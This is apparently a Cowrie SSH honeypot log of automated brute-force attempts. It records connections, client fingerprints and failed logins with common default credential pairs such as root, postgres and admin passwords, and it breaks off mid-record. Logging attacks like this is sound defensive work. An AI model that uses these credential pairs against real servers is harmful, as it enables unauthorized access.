{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:36.948062Z","src_ip":"79.116.23.158","session":"fd0f0cafb572","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"nospam","message":"login attempt [admin/nospam] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:37.384460Z","src_ip":"79.116.23.158","session":"fd0f0cafb572","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:38.488430Z","src_ip":"79.116.23.158","session":"fd0f0cafb572","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60070,"dst_ip":"159.203.135.109","dst_port":22,"session":"06a402ad2936","protocol":"ssh","message":"New connection: 176.65.139.95:60070 (159.203.135.109:22) [session: 06a402ad2936]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:38.759112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:38.768363Z","src_ip":"176.65.139.95","session":"06a402ad2936","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:38.883494Z","src_ip":"176.65.139.95","session":"06a402ad2936","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"gg","password":"gg","message":"login attempt [gg/gg] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:39.178401Z","src_ip":"176.65.139.95","session":"06a402ad2936","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:40.351641Z","src_ip":"176.65.139.95","session":"06a402ad2936","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":60074,"dst_ip":"159.203.135.109","dst_port":22,"session":"e840a64b41ce","protocol":"ssh","message":"New connection: 176.65.139.95:60074 (159.203.135.109:22) [session: e840a64b41ce]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:45.273894Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:45.277875Z","src_ip":"176.65.139.95","session":"e840a64b41ce","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:45.359822Z","src_ip":"176.65.139.95","session":"e840a64b41ce","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"1234","message":"login attempt [user/1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:45.964906Z","src_ip":"176.65.139.95","session":"e840a64b41ce","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.8","message":"Connection lost after 1.8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:47.060606Z","src_ip":"176.65.139.95","session":"e840a64b41ce","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":58292,"dst_ip":"159.203.135.109","dst_port":22,"session":"4ad41c45a508","protocol":"ssh","message":"New connection: 176.65.139.95:58292 (159.203.135.109:22) [session: 4ad41c45a508]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:52.122262Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:52.126599Z","src_ip":"176.65.139.95","session":"4ad41c45a508","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:52.228654Z","src_ip":"176.65.139.95","session":"4ad41c45a508","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"!QAZ2wsx3edc","message":"login attempt [root/!QAZ2wsx3edc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:52.510947Z","src_ip":"176.65.139.95","session":"4ad41c45a508","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:53.824665Z","src_ip":"176.65.139.95","session":"4ad41c45a508","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"159.203.92.129","src_port":39876,"dst_ip":"159.203.135.109","dst_port":22,"session":"52127bba68ac","protocol":"ssh","message":"New connection: 159.203.92.129:39876 (159.203.135.109:22) [session: 52127bba68ac]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:55.603576Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-OpenSSH","message":"Remote SSH version: SSH-2.0-OpenSSH","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:55.608952Z","src_ip":"159.203.92.129","session":"52127bba68ac","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"88e4f54f942892da498676735732aec7","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,diffie-hellman-group14-sha1,diffie-hellman-group14-sha256,diffie-hellman-group16-sha512,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,diffie-hellman-group-exchange-sha256,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,ext-info-c,kex-strict-c-v00@openssh.com;3des-cbc,aes128-cbc,aes128-ctr,aes128-gcm@openssh.com,aes192-ctr,aes256-ctr,aes256-gcm@openssh.com,arcfour,arcfour128,arcfour256,chacha20-poly1305@openssh.com;hmac-sha1,hmac-sha1-96,hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","diffie-hellman-group14-sha1","diffie-hellman-group14-sha256","diffie-hellman-group16-sha512","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","diffie-hellman-group-exchange-sha256","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","sk-ecdsa-sha2-nistp256-cert-v01@openssh.com","sk-ssh-ed25519-cert-v01@openssh.com","ssh-dss","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ssh-ed25519","ssh-rsa","rsa-sha2-256","rsa-sha2-512","sk-ecdsa-sha2-nistp256@openssh.com","sk-ssh-ed25519@openssh.com"],"encCS":["3des-cbc","aes128-cbc","aes128-ctr","aes128-gcm@openssh.com","aes192-ctr","aes256-ctr","aes256-gcm@openssh.com","arcfour","arcfour128","arcfour256","chacha20-poly1305@openssh.com"],"macCS":["hmac-sha1","hmac-sha1-96","hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 88e4f54f942892da498676735732aec7","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:55.613565Z","src_ip":"159.203.92.129","session":"52127bba68ac","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"HHH","password":"123456","message":"login attempt [HHH/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:55.627367Z","src_ip":"159.203.92.129","session":"52127bba68ac","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:56.636680Z","src_ip":"159.203.92.129","session":"52127bba68ac","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":40986,"dst_ip":"159.203.135.109","dst_port":22,"session":"83467e511fa1","protocol":"ssh","message":"New connection: 176.65.139.95:40986 (159.203.135.109:22) [session: 83467e511fa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:59.187679Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:59.295015Z","src_ip":"176.65.139.95","session":"83467e511fa1","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:59.330672Z","src_ip":"176.65.139.95","session":"83467e511fa1","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"minecraft","password":"1","message":"login attempt [minecraft/1] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:29:59.933660Z","src_ip":"176.65.139.95","session":"83467e511fa1","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:01.051070Z","src_ip":"176.65.139.95","session":"83467e511fa1","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":41002,"dst_ip":"159.203.135.109","dst_port":22,"session":"b71a2afaff3c","protocol":"ssh","message":"New connection: 176.65.139.95:41002 (159.203.135.109:22) [session: b71a2afaff3c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:06.133604Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:06.140736Z","src_ip":"176.65.139.95","session":"b71a2afaff3c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:06.230225Z","src_ip":"176.65.139.95","session":"b71a2afaff3c","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"frappe","password":"frappe@123","message":"login attempt [frappe/frappe@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:06.711232Z","src_ip":"176.65.139.95","session":"b71a2afaff3c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:07.796382Z","src_ip":"176.65.139.95","session":"b71a2afaff3c","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":46036,"dst_ip":"159.203.135.109","dst_port":22,"session":"29ccaf3659eb","protocol":"ssh","message":"New connection: 176.65.139.95:46036 (159.203.135.109:22) [session: 29ccaf3659eb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:13.153684Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:13.159307Z","src_ip":"176.65.139.95","session":"29ccaf3659eb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:13.242680Z","src_ip":"176.65.139.95","session":"29ccaf3659eb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"postgres","password":"postgres","message":"login attempt [postgres/postgres] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:13.766110Z","src_ip":"176.65.139.95","session":"29ccaf3659eb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:14.851679Z","src_ip":"176.65.139.95","session":"29ccaf3659eb","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"176.65.139.95","src_port":47640,"dst_ip":"159.203.135.109","dst_port":22,"session":"c0e73a95b352","protocol":"ssh","message":"New connection: 176.65.139.95:47640 (159.203.135.109:22) [session: c0e73a95b352]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:19.681774Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-04-30T08:30:19.687119Z","src_ip":"176.65.139.95","session":"c0e73a95b352","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2